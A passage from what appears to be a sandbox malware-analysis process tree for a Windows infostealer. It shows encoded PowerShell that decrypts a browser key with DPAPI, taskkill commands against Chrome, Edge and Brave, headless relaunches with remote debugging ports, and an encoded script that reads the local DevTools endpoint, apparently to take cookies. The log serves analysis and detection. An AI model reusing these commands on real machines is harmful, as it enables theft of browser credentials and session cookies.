wBmAE0AUAByADYAZwBLAEkAYwAzAGwAcwBUAGkAcwBiAE4AbABPAFEAdwBHAHIAaABwAC8AUwB0AC8ARQBEAGoAUQBBAEEAQQBBAEoAbgBmAHQAWQBmAHMAYwBTAGUARwBzAC8ATABTAEwANABZAEsAYwBQAHAASgBUAEUAbwBhAEMARwBHAGQASABFAHkAcQAxADYARQAvAEMATgBVAFMAbQBXAGkATgBJAEQAZwBZAG4AeABrAG8AVABwAFMASwBTAGIAZQBOAHIAVwByAEsAcABoAEwAeAB4ADUANwBlAE4AcABDAGgAagBIAFIAawAyAEsAWQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA=="
                                                                                                2⤵
                                                                                                  PID:4564
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQB4AFAAZgBQAFIAbQBvAGoATABhAHAAUQBIAEkAeQBlADMASwBpAGgAWgB4AFEAVABjAHYAcQBTACsASgBtAG0AdQAxAG4AWQBjAFAAaQBUACsAUAA0AEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAEYAWgBCAHkAegA4AEQAVQBXAEoATABmAG4AdQBHAGwAMwBLAEkAUABXAEoARwA5AHoATgBsADgAMQBwAEEAagBlAGsAMQB0AEcASgB0ADQAVwBwAEEAdwBBAEEAQQBBAHIAcAB1AFcANABZADcAdABLAEkAUwBSAG4AOAAvAEkARgBsADcARgAvAE0ATQBMAHoAdQA0AGsAbgBLADIATwBmAE0AUAByADYAZwBLAEkAYwAzAGwAcwBUAGkAcwBiAE4AbABPAFEAdwBHAHIAaABwAC8AUwB0AC8ARQBEAGoAUQBBAEEAQQBBAEoAbgBmAHQAWQBmAHMAYwBTAGUARwBzAC8ATABTAEwANABZAEsAYwBQAHAASgBUAEUAbwBhAEMARwBHAGQASABFAHkAcQAxADYARQAvAEMATgBVAFMAbQBXAGkATgBJAEQAZwBZAG4AeABrAG8AVABwAFMASwBTAGIAZQBOAHIAVwByAEsAcABoAEwAeAB4ADUANwBlAE4AcABDAGgAagBIAFIAawAyAEsAWQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA==
                                                                                                    3⤵
                                                                                                      PID:6180
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe 2>nul"
                                                                                                    2⤵
                                                                                                    • Executes a command shell one-liner
                                                                                                    PID:1304
                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                      taskkill /F /IM chrome.exe
                                                                                                      3⤵
                                                                                                      • Kills process with taskkill
                                                                                                      PID:6632
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe 2>nul"
                                                                                                    2⤵
                                                                                                    • Executes a command shell one-liner
                                                                                                    PID:6628
                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                      taskkill /F /IM msedge.exe
                                                                                                      3⤵
                                                                                                      • Kills process with taskkill
                                                                                                      PID:6700
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe 2>nul"
                                                                                                    2⤵
                                                                                                    • Executes a command shell one-liner
                                                                                                    PID:6708
                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                      taskkill /F /IM brave.exe
                                                                                                      3⤵
                                                                                                      • Kills process with taskkill
                                                                                                      PID:6912
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9756 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --headless=new --no-first-run --disable-sync --no-default-browser-check --disable-extensions --disable-background-networking --disable-default-apps --no-sandbox --disable-gpu
                                                                                                    2⤵
                                                                                                    • Uses browser remote debugging
                                                                                                    • Enumerates system info in registry
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                    PID:6592
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffcaecbc728,0x7ffcaecbc734,0x7ffcaecbc740
                                                                                                      3⤵
                                                                                                        PID:6812
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2244,i,754419861226050014,5975169352201304380,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2240 /prefetch:2
                                                                                                        3⤵
                                                                                                          PID:4420
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2244,i,754419861226050014,5975169352201304380,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:11
                                                                                                          3⤵
                                                                                                          • System Time Discovery
                                                                                                          PID:1936
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2244,i,754419861226050014,5975169352201304380,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2304 /prefetch:13
                                                                                                          3⤵
                                                                                                            PID:4748
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9756 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2244,i,754419861226050014,5975169352201304380,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2924 /prefetch:1
                                                                                                            3⤵
                                                                                                            • Uses browser remote debugging
                                                                                                            PID:5236
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9756 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2244,i,754419861226050014,5975169352201304380,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2728 /prefetch:1
                                                                                                            3⤵
                                                                                                            • Uses browser remote debugging
                                                                                                            PID:2860
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9756 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=2244,i,754419861226050014,5975169352201304380,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4008 /prefetch:1
                                                                                                            3⤵
                                                                                                            • Uses browser remote debugging
                                                                                                            PID:1512
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2244,i,754419861226050014,5975169352201304380,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4660 /prefetch:14
                                                                                                            3⤵
                                                                                                              PID:6692
                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9911 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --headless=new --no-first-run --disable-sync --no-default-browser-check --disable-extensions --disable-background-networking --disable-default-apps --no-sandbox --disable-gpu
                                                                                                            2⤵
                                                                                                            • Uses browser remote debugging
                                                                                                            • Enumerates system info in registry
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            • Modifies registry class
                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                            PID:4392
                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x254,0x258,0x25c,0x250,0x27c,0x7ffca73dc188,0x7ffca73dc194,0x7ffca73dc1a0
                                                                                                              3⤵
                                                                                                                PID:6828
                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2472,i,17191850794509492509,2660037538113005762,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2468 /prefetch:2
                                                                                                                3⤵
                                                                                                                  PID:1748
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2472,i,17191850794509492509,2660037538113005762,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2732 /prefetch:11
                                                                                                                  3⤵
                                                                                                                  • System Time Discovery
                                                                                                                  PID:3800
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2472,i,17191850794509492509,2660037538113005762,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2740 /prefetch:13
                                                                                                                  3⤵
                                                                                                                    PID:3724
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9911 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2472,i,17191850794509492509,2660037538113005762,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3360 /prefetch:1
                                                                                                                    3⤵
                                                                                                                    • Uses browser remote debugging
                                                                                                                    PID:3500
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9911 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2472,i,17191850794509492509,2660037538113005762,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3364 /prefetch:1
                                                                                                                    3⤵
                                                                                                                    • Uses browser remote debugging
                                                                                                                    PID:6300
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2472,i,17191850794509492509,2660037538113005762,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:14
                                                                                                                    3⤵
                                                                                                                      PID:5116
                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2472,i,17191850794509492509,2660037538113005762,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:14
                                                                                                                      3⤵
                                                                                                                        PID:4440
                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2472,i,17191850794509492509,2660037538113005762,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5812 /prefetch:14
                                                                                                                        3⤵
                                                                                                                          PID:5544
                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2472,i,17191850794509492509,2660037538113005762,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5812 /prefetch:14
                                                                                                                          3⤵
                                                                                                                            PID:2900
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADcANQA2AC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA3ADUANgAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdAB